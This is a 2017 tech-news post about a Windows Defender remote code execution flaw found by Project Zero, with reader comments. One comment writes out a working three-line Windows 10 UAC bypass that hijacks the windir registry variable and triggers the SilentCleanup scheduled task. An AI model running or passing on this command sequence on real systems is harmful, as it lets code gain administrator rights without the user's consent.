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posted by on Tuesday May 16 2017, @02:24AM   Printer-friendly
from the been-a-tough-month-for-windows dept.

Google Project Zero researchers Tavis Ormandy and Natalie Silvanovich claim to have found a critical vulnerability in Windows. The details of the flaw will likely be disclosed in 90 days from now even if a patch is not available.

Ormandy announced over the weekend on Twitter that he and Silvanovich had discovered "the worst Windows remote code exec [vulnerability] in recent memory."

The expert has not shared any details, but he has clarified that the exploit they created works against default Windows installations, and the attacker does not need to be on the same local area network as the victim. He also said the attack is "wormable."

[Ed - According to ghacks.net and ArsTechnica the vulnerability was in Windows Defender and has been patched by Microsoft - fnord]


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  • (Score: 3, Interesting) by TheRaven on Tuesday May 16 2017, @11:28AM (1 child)

    by TheRaven (270) on Tuesday May 16 2017, @11:28AM (#510488) Journal

    It sounds like it was the one that was disclosed last week. Remember a year or two ago there was a vulnerability in Norton Antivirus where it decided to decode untrusted images in a component running with kernel privileges and so a maliciously crafted image could exploit a bug in the decoder library and cause arbitrary code execution in the kernel? It turns out Microsoft used almost exactly the same antipattern, only in their case it was a JavaScript engine (which runs anything that comes over the network and looks like it might be JavaScript).

    It's pretty depressing that either of them managed to ship this. Anyone writing software should know to always try decoding untrusted data with minimal privileges. Ideally, you'd do it in a sandbox with something else monitoring the sandbox and looking for any suspicious behaviour.

    --
    sudo mod me up
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  • (Score: 3, Interesting) by TheB on Tuesday May 16 2017, @08:35PM

    by TheB (1538) on Tuesday May 16 2017, @08:35PM (#510737)

    Yep, that bug is so last week.

    Here is today's windows bug.

    set a=hkcu\Environment /v windir /
    reg add %a%d "cmd /K reg delete %a%f||"
    schtasks/Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

    Uses Windows Task Scheduler to bypass UAC on Win10
    https://tyranidslair.blogspot.co.uk/2017/05/exploiting-environment-variables-in.html [blogspot.co.uk]